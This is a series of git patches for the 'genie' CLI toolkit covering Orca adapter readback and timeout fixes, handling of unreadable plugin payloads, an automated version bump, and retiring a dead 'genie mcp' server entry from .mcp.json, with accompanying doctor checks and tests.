a decoded response fragment. + * + * Several documented readbacks are legitimately nullable (`run-current` answers + * `{ run: null }` when nothing is bound), and this used to be a bare cast: the + * next `.id` threw a raw TypeError straight out of `execute`, bypassing the + * adapter's typed error contract entirely. A non-object collapses to an empty + * record instead, so every field read yields `undefined` and the caller's own + * comparison decides the outcome. + */ function recordOf(value: unknown): Record<string, unknown> { + if (typeof value !== 'object' || value === null || Array.isArray(value)) return {}; return value as Record<string, unknown>; } @@ -862,6 +906,10 @@ function readbackPlan(operation: ValidatedOrcaOperation, result: unknown): Readb operation: { operation: 'run-current' }, matches: (readback) => { const current = recordOf(readback); + // `{ run: null }` is a valid run-current answer: nothing is bound. The + // run-use binding therefore did NOT take effect, which is a readback + // disagreement (typed readback_mismatch), not a decoding accident. + if (current.run === null || current.run === undefined) return false; const run = recordOf(current.run); return receiptRunId === operation.id && run.id === operation.id; }, @@ -936,9 +984,7 @@ function readbackPlan(operation: ValidatedOrcaOperation, result: unknown): Readb task.title === operation.title && JSON.stringify(task.deps ?? []) === JSON.stringify(operation.deps ?? []) && task.parent === operation.parent - : task.status === operation.status && - (JSON.stringify(task.result) === JSON.stringify(operation.result) || - task.result === JSON.stringify(operation.result)); + : task.status === operation.status && taskResultMatches(task.result, operation.result); }, }; } @@ -983,6 +1029,22 @@ function readbackPlan(operation: ValidatedOrcaOperation, result: unknown): Readb return undefined; } +/** + * `task-update.result` is optional. A status-only update asserts nothing about + * the stored result, so requiring equality would compare `JSON.stringify(undefined)` + * (the value `undefined`) against the readback's `null` — or against a previously + * stored payload — and fail every status-only readback. Only compare the result + * when the mutation actually carried one; the public projection stores it as a + * JSON string, the private one as the object itself. + */ +function taskResultMatches(readbackResult: unknown, operationResult: unknown): boolean { + if (operationResult === undefined) return true; + return ( + JSON.stringify(readbackResult) === JSON.stringify(operationResult) || + readbackResult === JSON.stringify(operationResult) + ); +} + function processFailure( operation: OrcaOrchestrationVerb, input: unknown, @@ -1049,6 +1111,21 @@ function safeProcessError( ); } +/** + * Process wall clock for one invocation. + * + * `worker-start`, `check --wait`, and `ask` accept their own `--timeout-ms` (up + * to 600_000 ms) and legitimately block for it. A fixed 30s process bound killed + * every one of those before Orca could answer, turning a supported long wait into + * a `timeout`/`ambiguous_after_possible_commit`. Honour the requested wait plus a + * grace, never shrink below the adapter default (a 250 ms `--timeout-ms` must not + * shrink the budget the CLI needs just to start), and never exceed the ceiling. + */ +function resolveProcessTimeoutMs(requestedMs: number | undefined, defaultMs: number): number { + if (requestedMs === undefined) return defaultMs; + return Math.min(MAX_ORCA_TIMEOUT_MS, Math.max(defaultMs, requestedMs + ORCA_TIMEOUT_GRACE_MS)); +} + function createAdapter(options: OrcaAdapterTestOptions = {}): OrcaOrchestrationAdapter { const env = Object.freeze({ ...(options.env ?? process.env) }); const executable = resolveOrcaExecutable({ @@ -1058,13 +1135,17 @@ function createAdapter(options: OrcaAdapterTestOptions = {}): OrcaOrchestrationA const executor = options.executor ?? spawnOrcaProcess; const defaultTimeout = options.timeoutMs ?? DEFAULT_ORCA_TIMEOUT_MS; const now = options.now ?? (() => new Date()); - const executeProcess = async (argv: readonly string[], operation: OrcaOrchestrationVerb | 'runtime') => { + const executeProcess = async ( + argv: readonly string[], + operation: OrcaOrchestrationVerb | 'runtime', + timeoutMs = defaultTimeout, + ) => { try { return await executor({ executable, argv, shell: false, - timeoutMs: defaultTimeout, + timeoutMs, maxStdoutBytes: MAX_ORCA_STDOUT_BYTES, maxStderrBytes: MAX_ORCA_STDERR_BYTES, env, @@ -1084,7 +1165,12 @@ function createAdapter(options: OrcaAdapterTestOptions = {}): OrcaOrchestrationA }; const invoke = async (operation: ValidatedOrcaOperation): Promise<OrcaJsonEnvelope> => { const argv = buildOrcaOrchestrationArgv(operation); - let result = await executeProcess(argv, operation.operation); + const requestedTimeoutMs = 'timeoutMs' in operation ? operation.timeoutMs : undefined; + let result = await executeProcess( + argv, + operation.operation, + resolveProcessTimeoutMs(requestedTimeoutMs, defaultTimeout), + ); result = { ...result, stderr: sanitizeStderr(result.stderr, operation, env) }; const isMutation = mutationVerbs.has(operation.operation) || hasAcknowledgement(operation.operation, operation); const failure = processFailure(operation.operation, operation, result); @@ -1372,4 +1458,4 @@ export function createOrcaOrchestrationAdapter(): OrcaOrchestrationAdapter { } /** Test-only dependency seam. Production callers must use createOrcaOrchestrationAdapter. */ -export const __orcaAdapterTestOnly = Object.freeze({ createAdapter, spawnOrcaProcess }); +export const __orcaAdapterTestOnly = Object.freeze({ createAdapter, createOrcaProcessExecutor, spawnOrcaProcess }); diff --git a/src/lib/orca-plugin-lifecycle.test.ts b/src/lib/orca-plugin-lifecycle.test.ts index 2199abb3e..1a808c206 100644 --- a/src/lib/orca-plugin-lifecycle.test.ts +++ b/src/lib/orca-plugin-lifecycle.test.ts @@ -1,5 +1,5 @@ import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; -import { existsSync, mkdirSync, mkdtempSync, readFileSync, writeFileSync } from 'node:fs'; +import { chmodSync, existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; import { checkOrcaLifecycle } from '../genie-commands/doctor.js'; @@ -158,6 +158,59 @@ describe('Orca plugin lifecycle transitions', () => { expect(inspectOrcaPluginLifecycle().payload).toBe('owned-clean'); }); + // Digesting the payload reads two real files. An unreadable one (EACCES, or a + // path that is no longer a regular file) used to throw straight out of + // inspectOrcaPluginLifecycle — and therefore out of `genie doctor`, the one + // command an operator runs to find out what is broken. + test('reports an unreadable payload instead of throwing out of doctor', async () => { + writePayload(); + writeFileSync(join(home, 'config.json'), JSON.stringify({ orchestration: { mode: 'standalone' } })); + await switchOrchestrationMode('orca', { + probe: async () => ({ + runtimeId: 'runtime_1', + runtimeVersion: '1.4.193', + contract: 'orchestration.contract.v1', + }), + }); + expect(inspectOrcaPluginLifecycle().payload).toBe('owned-clean'); + + // A path that exists but cannot be read as a file — uid-independent, so it + // behaves identically for a root CI container and a normal user. + const manifest = join(home, 'plugins', 'genie', 'orca-plugin.json'); + rmSync(manifest); + mkdirSync(manifest); + + const inspection = inspectOrcaPluginLifecycle(); + expect(inspection.payload).toBe('unreadable'); + expect(inspection.mode).toBe('orca'); + expect(inspection.recovery).toContain('could not be read'); + + // doctor still renders a check line instead of exploding. + const checks = await checkOrcaLifecycle({}, false); + expect(checks[0]).toMatchObject({ name: 'orchestration authority', status: 'fail' }); + expect(checks[0]?.detail).toContain('payload=unreadable'); + }); + + test('reports an EACCES payload as unreadable', async () => { + if (process.getuid?.() === 0) return; // root ignores the mode bits + writePayload(); + writeFileSync(join(home, 'config.json'), JSON.stringify({ orchestration: { mode: 'standalone' } })); + await switchOrchestrationMode('orca', { + probe: async () => ({ + runtimeId: 'runtime_1', + runtimeVersion: '1.4.193', + contract: 'orchestration.contract.v1', + }), + }); + const entrypoint = join(home, 'plugins', 'genie', 'orca-entrypoint.min.js'); + chmodSync(entrypoint, 0o000); + try { + expect(inspectOrcaPluginLifecycle().payload).toBe('unreadable'); + } finally { + chmodSync(entrypoint, 0o600); + } + }); + test('setup mode surface reports success, idempotency, and error exit/stderr', async () => { writePayload(); const output: string[] = []; diff --git a/src/lib/orca-plugin-lifecycle.ts b/src/lib/orca-plugin-lifecycle.ts index 4f5960b91..a4550e567 100644 --- a/src/lib/orca-plugin-lifecycle.ts +++ b/src/lib/orca-plugin-lifecycle.ts @@ -23,7 +23,7 @@ interface Ownership { export interface OrcaLifecycleInspection { mode: OrchestrationMode | 'invalid'; - payload: 'absent' | 'unmanaged' | 'owned-clean' | 'owned-modified' | 'unsafe-ownership'; + payload: 'absent' | 'unmanaged' | 'owned-clean' | 'owned-modified' | 'unsafe-ownership' | 'unreadable'; hostRegistration: 'not-managed'; manifestPath: string; recovery?: string; @@ -199,7 +199,21 @@ export function inspectOrcaPluginLifecycle(): OrcaLifecycleInspection { if (existing === 'unsafe') { return { ...base, payload: 'unsafe-ownership', recovery: 'review the ownership marker; Genie will not replace it' }; } - return sameOwnership(existing, expectedOwnership()) + // Digesting the payload reads two real files. On a payload the caller cannot + // read (EACCES, a mid-update rename, a broken symlink) that throw escaped + // doctor entirely — the ONE command an operator runs to find out what is + // wrong. Report the unreadable state instead; nothing here mutates. + let expected: Ownership; + try { + expected = expectedOwnership(); + } catch (cause) { + return { + ...base, + payload: 'unreadable', + recovery: `the Orca plugin payload could not be read (${cause instanceof Error ? cause.message : String(cause)}); restore access under ${dirname(target.manifest)} or reinstall Genie`, + }; + } + return sameOwnership(existing, expected) ? { ...base, payload: 'owned-clean' } : { ...base, payload: 'owned-modified', recovery: 'reinstall or update Genie; modified payload was preserved' }; } From a13384ea08ab7f769842011ccf442b3f63dd71e7 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sun, 30 Aug 2026 01:17:12 +0000 Subject: [PATCH 31/45] chore(version): bump to 5.260830.4 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index c47f700b5..aa9a1277c 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260830.3", + "version": "5.260830.4", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 24630b9f2..32b0d86fb 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260830.3", + "version": "5.260830.4", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 72c2f4814..364b21655 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.3", + "version": "5.260830.4", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index adfeca602..1bb22fa33 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.3", + "version": "5.260830.4", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index e2d2d5976..0c2c6cd7a 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.3", + "version": "5.260830.4", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 721df2a9e..08b98ce5b 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260830.3", + "version": "5.260830.4", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index cc3a70b3b..ce23661ca 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260830.3 +version: 5.260830.4 description: "Native Hermes surface for Genie orchestration: read-only status, work-plan and review-plan tools, hooks, commands, and a thin cockpit skill." provides_tools: # Exactly three native read-only planning/status tools. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index ef78df457..cb2be1776 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260830.3", + "version": "5.260830.4", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From b1a31c46997d156d9d087a24bbe90e6704ddedf5 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 22:20:32 -0300 Subject: [PATCH 32/45] fix: Orca-mode lifecycle guards + retire the dead `genie mcp` entry in .mcp.json (#2830) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(orca): make every local-lifecycle refusal a stable one-line error Under `orchestration.mode: "orca"` the local-lifecycle guard fired at whatever depth each command happened to open the store, so the same refusal surfaced four different ways. - `genie context` enforced the guard only where a DB open occurred: the wishless form never opened one (exit 0 with a standalone payload), `--wish` reported `unreadable-db`, and `--wish --plan` reported `internal`. The gate now runs before option resolution and every form emits `{"error":"local_lifecycle_disabled_in_orca_mode","reason":...}` with exit 1. An invalid `orchestration.mode` likewise keeps its own `invalid_orchestration_authority` code instead of `internal`. - `genie board` opened the DB outside the handler's try, so bun printed a raw stack trace and a source excerpt. The whole body now runs inside the same `run` wrapper `task`/`idea` use. - `genie ui-bridge` threw uncaught out of its first lazy read-only open. It now refuses before any handle, watcher, or backstop exists and renders the same one-line `Error: …` with exit 1. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 * fix(init): retire the dead `genie mcp` entry left in every repo's .mcp.json Every repo that ran `genie init` before `genie mcp` was retired carries `{"genie": {"command": <genie binary>, "args": ["mcp"]}}` in `.mcp.json`. That command now prints its retirement diagnostic and exits 1, so Claude Code shows a red failed MCP server forever — nothing removed the entry and doctor never looked at the file. - `genie doctor` gains a warning-level `mcp: retired \`genie mcp\` registration` check naming the file and the fix. It never flips `ok:false`: `.mcp.json` is user-owned. - `genie init` retires exactly that entry. A `genie` KEY is not proof of ownership — only a genie binary invoked with exactly `["mcp"]` qualifies, so a user wrapper, extra args, or any other server is preserved. The file is backed up first (`.mcp.json.genie-backup-<stamp>`, the codex-config.ts pattern) and the removal is byte-surgical: the entry's bytes are spliced out and re-verified against the intended object, so every surviving server keeps its own formatting. Only a file left holding nothing else is removed. - `genie init` no longer aborts on a symlinked `.mcp.json` (`MCP config target is not a physical file`), which also skipped the `.genie/` scaffold entirely. The step is total: a symlink, an unreadable file, or a failed rewrite is reported and skipped, and scaffolding now runs first regardless. - `--json` states the outcome it produced instead of always claiming 'retired marker-owned project registration', including when the Codex fallback removal was a no-op. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 * fix(doctor): stop opening genie.db under Orca authority `Codex project context` resolved project context and opened `.genie/genie.db` even when `orchestration.mode` is `orca`, reporting a live local database as healthy state and doing exactly what the local-lifecycle guard forbids. It now takes the same stance the `genie.db` check already takes and reports the authority without resolving or opening anything. Also adds the doctor half of the `.mcp.json` retirement check. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 * docs: describe the bounded .mcp.json genie-entry retirement in init Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- CLAUDE.md | 4 +- .../genie/references/codex-integration-map.md | 8 +- src/genie-commands/doctor.test.ts | 73 ++++ src/genie-commands/doctor.ts | 40 ++- src/lib/codex-project-mcp.test.ts | 206 ++++++++++- src/lib/codex-project-mcp.ts | 326 +++++++++++++++++- src/term-commands/context.test.ts | 62 ++++ src/term-commands/context.ts | 32 +- src/term-commands/init.test.ts | 74 +++- src/term-commands/init.ts | 43 ++- src/term-commands/ui-bridge.test.ts | 24 +- src/term-commands/ui-bridge.ts | 14 +- src/term-commands/v5-board.test.ts | 35 ++ src/term-commands/v5-board.ts | 10 +- 14 files changed, 903 insertions(+), 48 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 496b5b871..796f88bb4 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -80,7 +80,7 @@ Sixteen top-level commands (run `genie <command> --help` for detail): | `idea <text...>` | Capture an idea into the roadmap board Idea lane (creates the board if absent) | | `doctor` | Diagnostic checks on the genie installation | | `hook` | Hook middleware for Claude Code (`genie hook dispatch` runs in-process) | -| `init` | Scaffold per-repo state and retire proven Genie-owned project MCP registrations (the marker-owned `.codex/config.toml` route); `.mcp.json` is never parsed or changed | +| `init` | Scaffold per-repo state and retire proven Genie-owned project MCP registrations: the marker-owned `.codex/config.toml` route, and in `.mcp.json` only a `genie` server whose command is a genie binary with args exactly `["mcp"]` (backed up first; every other server and key preserved byte-for-byte; a symlinked file is skipped) | | `install` | Post-install finisher — authenticated delivery, v4 cleanup (`--skip-v4-cleanup`), and non-Codex convergence | | `context` | Resolve spawn context: wish/group branch + base SHA, or the integration branch (versioned JSON); `--plan` previews | | `mcp` | Retired — prints the stable non-zero MCP-retirement diagnostic (use `genie task` / `genie board`) | @@ -182,7 +182,7 @@ Biome's `noExcessiveCognitiveComplexity` is set to `maxAllowedComplexity: 25` (w - **Codex ships exactly H3/H4/H6, and all remain untrusted after an edit** — H3 is bounded read-only SessionStart context; H4 is deterministic local PreToolUse guarding; H6 is matcher-scoped PermissionRequest approval and is the only retained hook that may write approval-queue state. No Codex lifecycle hook installs, updates, synchronizes, or scaffolds. Run `genie update` to deliver signed bytes, then authenticated `genie setup --codex` to activate them; inspect changed hashes with `/hooks` and start a new task. Codex hook commands run outside the model sandbox, so hard controls still belong in sandbox permissions and server-side branch protection. - **Hook dispatch is provider-aware and fail-closed** — the plugin-local Codex launcher selects only the canonical `$GENIE_HOME/bin/genie`, preserves stdin/stdout/signals, bounds child time/output, validates event-specific JSON, and converts launch/timeout/schema failures into a reasoned deny. Claude dispatch remains a short-lived in-process `genie hook dispatch` fork. Neither path is a daemon. - **`AskUserQuestion` is the one PreToolUse carve-out** — it is in `NON_INTERCEPTABLE_PRE_TOOL_USE_TOOLS` and MUST get an EMPTY response, not the neutral `{ decision: 'block' }` block form. Empirically CC consumes any additionalContext as the synthesized answer, so a fail-closed block would corrupt the inline picker. The fail-closed envelope special-cases this tool. -- **The product MCP server and its launchers are retired** — `genie mcp` is a stub that writes a stable diagnostic to stderr and exits 1; no plugin ships an MCP declaration or launcher, and `genie init` only retires proven Genie-owned historical routes (it never parses or writes `.mcp.json`). The UI-owned `genie ui-bridge` is a separate private stdio bridge and is NOT the retired product integration. +- **The product MCP server and its launchers are retired** — `genie mcp` is a stub that writes a stable diagnostic to stderr and exits 1; no plugin ships an MCP declaration or launcher, and `genie init` only retires proven Genie-owned historical routes (in `.mcp.json` it retires only the dead `genie mcp` entry — a genie binary with args exactly `["mcp"]` — backing the file up first and preserving every other server byte-for-byte; `genie doctor` warns while that entry is still present). The UI-owned `genie ui-bridge` is a separate private stdio bridge and is NOT the retired product integration. - **Lifecycle authority is an explicit mode, never inferred** — `standalone` is the default (including when `orchestration.mode` is absent); installing or opening Orca changes nothing. `genie setup --orchestration-mode orca` probes the shipped plugin payload and a compatible Orca runtime before atomically switching, after which Genie refuses local `genie.db` lifecycle reads/writes and roadmap writes/syncs/exports. Switching back with `--orchestration-mode standalone` imports no Orca state. There is no fallback database in either direction. - **Two `genie.db` files, never cross-import** — per-repo `.genie/genie.db` (`genie-db.ts`, task/board/wish) and global `~/.genie/genie.db` (`global-db.ts`, omni queue + inbox) are independent databases with their own schemas and `user_version`. `global-db.ts` shares only `sqlite-open.ts` with the per-repo one — do not reach across for path constants. - **Codex integration health is native state, not OTel** — the old Genie exporter at `127.0.0.1:14318` has no relay and is removed by an exact-match, backup-first migration. Preserve unrelated OTel settings and `disable_paste_burst`. diff --git a/plugins/genie/references/codex-integration-map.md b/plugins/genie/references/codex-integration-map.md index 2f4ee364a..e608ef8e8 100644 --- a/plugins/genie/references/codex-integration-map.md +++ b/plugins/genie/references/codex-integration-map.md @@ -97,8 +97,8 @@ genie init ``` Run it from the trusted Git worktree that should own the state. It scaffolds repository state and retires the -historical marker-owned Genie project MCP route; it does not deliver or activate a plugin, and it never parses -or writes `.mcp.json`. Nothing reinstates a project MCP route. Linked worktrees keep their local +historical marker-owned Genie project MCP route; it does not deliver or activate a plugin, and in `.mcp.json` it retires only the dead `genie mcp` entry (backup-first, every other +server preserved byte-for-byte; a symlinked file is skipped with a warning). Nothing reinstates a project MCP route. Linked worktrees keep their local `.codex/config.toml` but resolve the shared task database from the Git common directory. An initialized nested repository is a hard boundary: `genie task` and `genie board` fail against that repository's own database rather than falling through to an outer repository or an empty board. @@ -221,7 +221,9 @@ that bypasses the Codex activation gate. marker-owned project MCP route in a trusted initialized repository. It is independent of plugin availability and activation state; init never requests an assertion/permit or mutates delivery, journal, registration, cache, enabled state, - fallbacks, or roles, and it never parses or writes `.mcp.json`. + fallbacks, or roles. In `.mcp.json` it retires exactly one entry — a `genie` server launching a genie binary + with args exactly `["mcp"]` — after writing a timestamped backup; the `genie` key alone is not + proof of ownership, and a user wrapper, extra args, or any other server is preserved byte-for-byte. - **Uninstall** (`genie uninstall`) is a deliberately separate, user-requested destructive-removal authority — not part of the activation protocol. It warns before its confirmation that current or resumable tasks can break, keeps every diff --git a/src/genie-commands/doctor.test.ts b/src/genie-commands/doctor.test.ts index 244aa7981..26fb3e1b1 100644 --- a/src/genie-commands/doctor.test.ts +++ b/src/genie-commands/doctor.test.ts @@ -25,8 +25,10 @@ import { MINIMUM_BUN_VERSION, checkAgentSync, checkCodexIntegration, + checkCodexProjectContext, checkIndexLaneDrift, checkOmniBridgeHealth, + checkRetiredJsonMcpEntry, checkSubagentModelOverride, checkV4Residue, doctorCommand, @@ -2684,3 +2686,74 @@ describe('Group E lifecycle truth (doctor)', () => { expect(json.checks.find((c) => c.name === 'Codex project context')).toBeUndefined(); }); }); + +// ============================================================================ +// The retired `genie mcp` registration in .mcp.json (H3) +// ============================================================================ + +describe('checkRetiredJsonMcpEntry', () => { + let repoRoot: string; + + beforeEach(() => { + repoRoot = mkdtempSync(join(tmpdir(), 'genie-doctor-mcpjson-')); + }); + afterEach(() => rmSync(repoRoot, { recursive: true, force: true })); + + test('warns, names the file, and names the fix when the dead registration is still there', () => { + writeFileSync( + join(repoRoot, '.mcp.json'), + '{"mcpServers":{"genie":{"command":"/home/u/.genie/bin/genie","args":["mcp"]}}}', + ); + const [check] = checkRetiredJsonMcpEntry(repoRoot); + expect(check.status).toBe('warn'); + expect(check.detail).toContain(join(repoRoot, '.mcp.json')); + expect(check.suggestion).toContain('genie init'); + }); + + test('passes on an absent, clean, symlinked, or unparseable .mcp.json', () => { + expect(checkRetiredJsonMcpEntry(repoRoot)[0].status).toBe('pass'); + + writeFileSync(join(repoRoot, '.mcp.json'), '{"mcpServers":{"other":{"command":"x"}}}'); + expect(checkRetiredJsonMcpEntry(repoRoot)[0].status).toBe('pass'); + + // A user wrapper under the same key is not the retired registration. + writeFileSync(join(repoRoot, '.mcp.json'), '{"mcpServers":{"genie":{"command":"/mine","args":["mcp"]}}}'); + expect(checkRetiredJsonMcpEntry(repoRoot)[0].status).toBe('pass'); + + writeFileSync(join(repoRoot, '.mcp.json'), 'not json'); + expect(checkRetiredJsonMcpEntry(repoRoot)[0].status).toBe('pass'); + }); + + test('never flips doctor ok:false — it is warning-level on a user-owned file', () => { + writeFileSync(join(repoRoot, '.mcp.json'), '{"mcpServers":{"genie":{"command":"genie","args":["mcp"]}}}'); + expect(checkRetiredJsonMcpEntry(repoRoot).every((c) => c.status !== 'fail')).toBe(true); + }); +}); + +// ============================================================================ +// Orca lifecycle authority — doctor never opens the local store +// ============================================================================ + +describe('checkCodexProjectContext under Orca', () => { + function writeOrchestrationMode(mode: string): void { + const home = process.env.GENIE_HOME as string; + mkdirSync(home, { recursive: true }); + writeFileSync(join(home, 'config.json'), JSON.stringify({ orchestration: { mode } })); + } + + test('reports the authority without resolving context or opening genie.db', () => { + writeOrchestrationMode('orca'); + const repoRoot = join(isolatedHome, 'repo'); + const [check] = checkCodexProjectContext(repoRoot); + expect(check.status).toBe('pass'); + expect(check.detail).toBe('not resolved — Orca is the selected lifecycle authority'); + // The guard forbids the open, so nothing may have been created either. + expect(existsSync(join(repoRoot, '.genie', 'genie.db'))).toBe(false); + }); + + test('still resolves context in standalone mode', () => { + writeOrchestrationMode('standalone'); + const [check] = checkCodexProjectContext(join(isolatedHome, 'repo')); + expect(check.detail).not.toContain('Orca is the selected lifecycle authority'); + }); +}); diff --git a/src/genie-commands/doctor.ts b/src/genie-commands/doctor.ts index b5b0e31c6..93a1ab92b 100644 --- a/src/genie-commands/doctor.ts +++ b/src/genie-commands/doctor.ts @@ -53,6 +53,7 @@ import { type RouteLayerFinding, assessSnapshotDelivery, classifyRouteLayers } f import { type CodexPluginProbe, inspectCodexProjectMcp, + inspectRetiredJsonMcpEntry, probeCodexGeniePlugin, resolveGitProjectRoots, } from '../lib/codex-project-mcp.js'; @@ -559,8 +560,21 @@ function codexProjectRouteCheck(root: string | null, probe: CodexPluginProbe, cw * warn (the MCP returns a typed error, never a healthy empty board); a * bare/submodule/external layout or an unresolvable context is a hard fail. */ -function checkCodexProjectContext(root: string | null, injected?: ProjectContext | null): CheckResult[] { +export function checkCodexProjectContext(root: string | null, injected?: ProjectContext | null): CheckResult[] { if (root === null || injected === null) return []; + // Same stance as the `genie.db` check: under Orca the local store is not the + // lifecycle authority, so doctor neither resolves project context nor opens + // the database it would name — reporting a live DB there is a false claim, + // and opening it is exactly what the orca-mode guard forbids. + if (inspectOrcaPluginLifecycle().mode === 'orca') { + return [ + { + name: 'Codex project context', + status: 'pass', + detail: 'not resolved — Orca is the selected lifecycle authority', + }, + ]; + } const context = injected ?? resolveProjectContext(root); if (context.kind === 'ok') { let db: Database | null = null; @@ -2084,6 +2098,29 @@ export function checkIndexLaneDrift(root: string | null, databaseRoot: string | ]; } +/** + * The `mcp: retired \`genie mcp\` registration` check. Every repo that ran + * `genie init` before the MCP server was retired carries a `genie` entry in + * `.mcp.json` that launches `genie mcp` — a command that now prints its + * retirement diagnostic and exits 1, so Claude Code shows it as a permanently + * failed MCP server. Warning-level: it never flips doctor `ok:false`, because + * `.mcp.json` is a user-owned file and the repair is one command away. + */ +export function checkRetiredJsonMcpEntry(root: string | null): CheckResult[] { + const name = 'mcp: retired `genie mcp` registration'; + const finding = inspectRetiredJsonMcpEntry(root ?? process.cwd()); + if (finding.state !== 'present') return [{ name, status: 'pass', detail: finding.detail }]; + return [ + { + name, + status: 'warn', + detail: `${finding.path} still registers the retired \`genie mcp\` server, which Claude Code shows as failed`, + suggestion: + 'Run `genie init` in this repository to retire that entry (the file is backed up first and every other server is preserved), or delete the "genie" entry from .mcp.json by hand.', + }, + ]; +} + // ============================================================================ // Entry point // ============================================================================ @@ -2311,6 +2348,7 @@ export async function doctorCommand(options?: { json?: boolean; fix?: boolean }, ...(await checkOmniHookTimeout()), ...(await checkOmniBridgeHealth()), ...checkIndexLaneDrift(root, databaseRoot), + ...checkRetiredJsonMcpEntry(root), ]; const failed = results.filter((r) => r.status === 'fail'); diff --git a/src/lib/codex-project-mcp.test.ts b/src/lib/codex-project-mcp.test.ts index ab9c574e4..534febfa3 100644 --- a/src/lib/codex-project-mcp.test.ts +++ b/src/lib/codex-project-mcp.test.ts @@ -1,9 +1,24 @@ import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; -import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { + existsSync, + mkdirSync, + mkdtempSync, + readFileSync, + readdirSync, + rmSync, + statSync, + symlinkSync, + writeFileSync, +} from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; import * as projectMcp from './codex-project-mcp.js'; -import { retireProjectMcpConfigs } from './codex-project-mcp.js'; +import { + inspectRetiredJsonMcpEntry, + isRetiredGenieMcpServer, + retireJsonMcpGenieEntry, + retireProjectMcpConfigs, +} from './codex-project-mcp.js'; let root: string; @@ -25,15 +40,40 @@ describe('retireProjectMcpConfigs', () => { expect(Object.hasOwn(projectMcp, name), name).toBe(false); } }); - test('never parses or rewrites .mcp.json', () => { - for (const original of [ - '{ definitely not json\n', - '{\n "mcpServers": { "genie": { "command": "/old/genie", "args": ["mcp"] } }\n}\n', - ]) { - writeFileSync(join(root, '.mcp.json'), original); - expect(retireProjectMcpConfigs(root)[0]).toMatchObject({ action: 'skipped' }); - expect(readFileSync(join(root, '.mcp.json'), 'utf8')).toBe(original); - } + test('leaves an unparseable .mcp.json byte-for-byte alone and reports why', () => { + const original = '{ definitely not json\n'; + writeFileSync(join(root, '.mcp.json'), original); + expect(retireProjectMcpConfigs(root)[0]).toMatchObject({ action: 'skipped' 